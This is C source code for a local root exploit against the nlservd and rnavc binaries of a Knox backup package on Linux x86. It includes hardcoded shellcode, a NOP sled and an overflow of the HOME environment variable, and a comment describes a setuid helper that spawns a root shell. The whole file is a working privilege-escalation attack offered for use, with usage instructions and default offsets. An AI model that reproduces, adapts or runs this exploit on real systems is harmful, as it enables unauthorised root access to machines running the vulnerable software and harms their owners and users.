/*
 * nlservd/rnavc local root exploit for Linux x86
 * tested on SuSE 6.2 exploits Arkiea's Knox backup package.
 *    gcc -o knox knox.c
 *    ./knox <offset> <buflen>
 *
 *
 * NOTE: you *MUST* have void main(){setuid(geteuid()); 
 *       system("/bin/bash");}
 *       compiled in /tmp/ui for this to work.
 *
 * To exploit rnavc, simply change the execl call to
 *   ("/usr/bin/knox/rnavc", "rnavc", NULL)
 *                  -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/ui";



#define LEN 2000
#define NOP 0x90

unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}


void main(int argc, char *argv[]) {

 int offset=0;
 int i;
 int buflen = LEN;
 long int addr;
 char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
  exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);
 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);
 }
 else {
   offset=2800;
   buflen=1200;
 }

 addr=get_sp();

 fprintf(stderr, "Arkiea Knox backup package exploit\n");
 fprintf(stderr, "For nlservd and rnavc\n");
 fprintf(stderr, "Brock Tellier btellier@webley.com\n");
 fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

 memset(buf,NOP,buflen);
 memcpy(buf+(buflen/2),exec,strlen(exec));
 for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
  *(int *)&buf[i]=addr+offset;

 setenv("HOME", buf, 1);
 execl("/usr/knox/bin/nlservd", "nlservd", NULL);
}